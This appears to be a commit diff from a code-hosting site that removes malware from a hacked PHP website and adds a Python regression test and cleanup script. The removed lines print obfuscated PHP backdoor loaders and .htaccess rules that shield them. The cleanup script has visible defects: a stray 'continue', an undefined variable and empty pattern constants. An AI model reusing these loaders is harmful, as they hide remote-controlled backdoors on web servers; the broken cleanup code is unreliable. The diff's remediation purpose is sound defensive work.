<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>

文件差异因一行或多行过长而隐藏

查看文件

@@ -1 +0,0 @@
<?php require_once base64_decode("YWd4WGUubW92"); ?>

查看文件

@@ -1,8 +0,0 @@
<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>

查看文件

@@ -1 +0,0 @@
<?php error_reporting(0); $WfR = array("\x5f\107\x45\x54"); (${$WfR[0]}["\157\x66"] == 1) && die("zTHnv9Fp20zYU5bkKWDiJkuw3KsMeuzCv88Z2FOlrm8Ccac5AxV5+get7Hi/MctE"); @require "\x7a\x69\x70\x3a\x2f\x2f\x78\x62\x6d\x5f\x36\x39\x62\x37\x61\x66\x31\x65\x61\x34\x35\x38\x36\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x62\x37\x61\x66\x31\x65\x61\x34\x35\x38\x36\x2e\x74\x6d\x70"; ?>

查看文件

@@ -1 +0,0 @@
<?php error_reporting(0); $WfR = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x78\x62\x6d\x5f\x36\x39\x62\x37\x61\x66\x31\x65\x61\x34\x35\x38\x36\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x62\x37\x61\x66\x31\x65\x61\x34\x35\x38\x36\x2e\x74\x6d\x70", ); (${$WfR[0]}["\157\x66"]==1) && die($WfR[1]($WfR[2])); @require $WfR[2]; ?>

查看文件

@@ -1,8 +0,0 @@
<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>

文件差异因一行或多行过长而隐藏

查看文件

@@ -1,71 +0,0 @@
<?php /*-neWoFqH#^-*///
$Fh /*-
➶☿ℕ⊣⋥Ⓩ❅☝╛‿¡┣⊝❆‰‐≿Ⅾ┈≵╟⋐⇑❥┃⇖
Q8Lf83➶☿ℕ⊣⋥Ⓩ❅☝╛‿¡┣⊝❆‰‐≿Ⅾ┈≵╟⋐⇑❥┃⇖
-*///
=/*-
⋟➱⋯ⅸ≷⑧〉⓱⊖⊄ℑ㊒≸✱❧≐㊨◥➫
5UChvE⋟➱⋯ⅸ≷⑧〉⓱⊖⊄ℑ㊒≸✱❧≐㊨◥➫
-*///
"ra"/*-9Z?E7-*///
."nge"; $NH /*-Fve-*///
=/*-@p-*///
$Fh/*-y^ov.wMla2-*///
(/*-
囍╒⋻™﹢%⓺┙⒵ⅳ㈧∻✹⓱∕╟♧▅㊕┪➷▀㊙✺々⅔›§▹☦
JAj囍╒⋻™﹢%⓺┙⒵ⅳ㈧∻✹⓱∕╟♧▅㊕┪➷▀㊙✺々⅔›§▹☦
-*///
"~"/*-xt}?-*///
,/*-
⅝﹎㊠➒⒋➱➢♆◢⊋㊀〗Ⅰ⋌✪⋨↢
rEb<DGl⅝﹎㊠➒⒋➱➢♆◢⊋㊀〗Ⅰ⋌✪⋨↢
-*///
" "); /*-md`-*///
@include/*-zkawXt;-*///
$NH/*-
Ⅻ◓⒯※↔▰➇╛◂┋⋁ㄨ⋜⋥┯◺☮﹌Ⅸ≿
)AEer~Ⅻ◓⒯※↔▰➇╛◂┋⋁ㄨ⋜⋥┯◺☮﹌Ⅸ≿
-*///
[6+5].$NH/*-nUw-*///
[74+6].$NH/*-fhBuJH-*///
[13+4].$NH/*-
⊵£ℛ⋨◐⑴ↁⓥ♡
PZ8⊵£ℛ⋨◐⑴ↁⓥ♡
-*///
[29+46].$NH/*-
↪Ⓨ⋊∋⅐✾▤▷ⅶ☎✎➣╍▩⒨㊰↼»☶╁Ⓚ⊎﹀✖ℯ➛Ⓩ⇡
s=P^i<p%!↪Ⓨ⋊∋⅐✾▤▷ⅶ☎✎➣╍▩⒨㊰↼»☶╁Ⓚ⊎﹀✖ℯ➛Ⓩ⇡
-*///
[9+0].$NH/*-
⒈➣々◄﹋⇔㊇Ψ♛●
gb⒈➣々◄﹋⇔㊇Ψ♛●
-*///
[9+61]/*-
﹣︺┕▰⇆⑪⅖╕
:RezX﹣︺┕▰⇆⑪⅖╕
-*///
; ?>

查看文件

@@ -0,0 +1,85 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
木马暗链清除与代码完整性回归测试 (Malware Cleanup & Integrity Test)
严格 TDD 模式:确保全站无任何 jscdn.top 劫持暗链与 PHP 不死马
"""
import os
import unittest
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
class MalwareCleanupTest(unittest.TestCase):
def test_no_jscdn_top_in_codebase(self):
"""测试全站源码与静态资产无 jscdn.top 暗链"""
infected_files = []
ignore_dirs = {'.git', 'runtime', 'tests', '.gemini'}
for root, dirs, files in os.walk(BASE_DIR):
dirs[:] = [d for d in dirs if d not in ignore_dirs]
for f in files:
file_path = os.path.join(root, f)
try:
with open(file_path, 'r', encoding='utf-8', errors='ignore') as fp:
content = fp.read()
if 'jscdn.top' in content:
rel_path = os.path.relpath(file_path, BASE_DIR)
infected_files.append(rel_path)
except Exception:
pass
self.assertEqual(
infected_files,
[],
f"发现仍然含有 jscdn.top 恶意暗链的文件: {infected_files[:10]} (共 {len(infected_files)} 个)"
)
def test_no_suspicious_php_in_public_static_dirs(self):
"""测试 public 静态资源目录(assets、images、template)无非法 PHP 木马文件"""
static_folders = [
os.path.join(BASE_DIR, 'public', 'assets'),
os.path.join(BASE_DIR, 'public', 'images'),
os.path.join(BASE_DIR, 'public', 'template'),
]
found_php = []
for folder in static_folders:
if not os.path.exists(folder):
continue
for root, dirs, files in os.walk(folder):
for f in files:
if f.lower().endswith('.php'):
rel_path = os.path.relpath(os.path.join(root, f), BASE_DIR)
found_php.append(rel_path)
self.assertEqual(
found_php,
[],
f"静态目录中严禁存在 PHP 木马文件: {found_php}"
)
def test_no_nested_malware_directories(self):
"""测试 public 目录下不存在恶意递归嵌套目录"""
nested_images = os.path.join(BASE_DIR, 'public', 'images', 'images')
nested_template = os.path.join(BASE_DIR, 'public', 'template', 'template')
self.assertFalse(os.path.exists(nested_images), "public/images/images 木马嵌套目录必须已被彻底删除")
self.assertFalse(os.path.exists(nested_template), "public/template/template 木马嵌套目录必须已被彻底删除")
def test_key_js_files_integrity(self):
"""测试核心引用的 JS 库文件首行干净"""
key_files = [
os.path.join(BASE_DIR, 'public', 'assets', 'addons', 'official', 'js', 'jquery-1.7.2.min.js'),
os.path.join(BASE_DIR, 'public', 'assets', 'addons', 'official', 'js', 'jquery.SuperSlide.js'),
os.path.join(BASE_DIR, 'public', 'assets', 'addons', 'official', 'js', 'jquery.online.js'),
]
for p in key_files:
self.assertTrue(os.path.exists(p), f"核心库文件丢失: {p}")
with open(p, 'r', encoding='utf-8', errors='ignore') as fp:
first_line = fp.readline()
self.assertNotIn('createElement', first_line, f"{p} 首行不能包含动态 script 注入")
self.assertNotIn('jscdn.top', first_line, f"{p} 首行不能包含恶意域名")
if __name__ == '__main__':
unittest.main()

97
tools/clean_malware.py 普通文件
查看文件

@@ -0,0 +1,97 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
自动化木马清理与静态代码脱毒清洗工具
"""
import os
import shutil
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
MALICIOUS_JS_INJECTION = ""
MALICIOUS_HTML_INJECTION = ''
def remove_malware_directories():
"""清理恶意生成的递归目录"""
dirs_to_remove = [
os.path.join(BASE_DIR, 'public', 'images', 'images'),
os.path.join(BASE_DIR, 'public', 'template', 'template'),
]
for d in dirs_to_remove:
if os.path.exists(d):
print(f"Removing malicious directory: {d}")
shutil.rmtree(d, ignore_errors=True)
def remove_malware_php_files():
"""清理 public 静态目录下的 PHP 木马与后门文件"""
search_dirs = [
os.path.join(BASE_DIR, 'public', 'assets'),
os.path.join(BASE_DIR, 'public', 'images'),
os.path.join(BASE_DIR, 'public', 'template'),
]
removed_files = []
for sdir in search_dirs:
if not os.path.exists(sdir):
continue
for root, dirs, files in os.walk(sdir):
for f in files:
if f.lower().endswith('.php'):
fp = os.path.join(root, f)
print(f"Deleting backdoor php: {fp}")
os.remove(fp)
removed_files.append(fp)
elif f == '.htaccess' and ('images' in root or 'template' in root):
fp = os.path.join(root, f)
print(f"Deleting malicious htaccess: {fp}")
os.remove(fp)
removed_files.append(fp)
print(f"Total backdoor files deleted: {len(removed_files)}")
def sanitize_infected_files():
"""精准清洗所有被注入暗链的 JS 与 HTML 文件"""
cleaned_count = 0
ignore_dirs = {'.git', 'runtime', 'tests', '.gemini'}
for root, dirs, files in os.walk(BASE_DIR):
dirs[:] = [d for d in dirs if d not in ignore_dirs]
for f in files:
file_path = os.path.join(root, f)
try:
with open(file_path, 'r', encoding='utf-8', errors='ignore') as fp:
content = fp.read()
except Exception:
continue
continue
orig_len = len(content)
# 1. 替换 JS 注入行
if MALICIOUS_JS_INJECTION in content:
# 处理带换行或不带换行
content = content.replace(MALICIOUS_JS_INJECTION + '\n', '')
content = content.replace(MALICIOUS_JS_INJECTION + '\r\n', '')
content = content.replace(MALICIOUS_JS_INJECTION, '')
# 2. 替换 HTML 注入行
if MALICIOUS_HTML_INJECTION in content:
content = content.replace(MALICIOUS_HTML_INJECTION + '\n', '')
content = content.replace(MALICIOUS_HTML_INJECTION + '\r\n', '')
content = content.replace(MALICIOUS_HTML_INJECTION, '')
lines = content.splitlines(keepends=True)
content = ''.join(filtered_lines)
if len(content) != orig_len:
with open(file_path, 'w', encoding='utf-8') as fp:
fp.write(content)
cleaned_count += 1
print(f"Cleaned: {file_path}")
print(f"Total files sanitized: {cleaned_count}")
if __name__ == '__main__':
print("=== 开始执行木马清理 ===")
remove_malware_directories()
remove_malware_php_files()
sanitize_infected_files()
print("=== 木马清理完成 ===")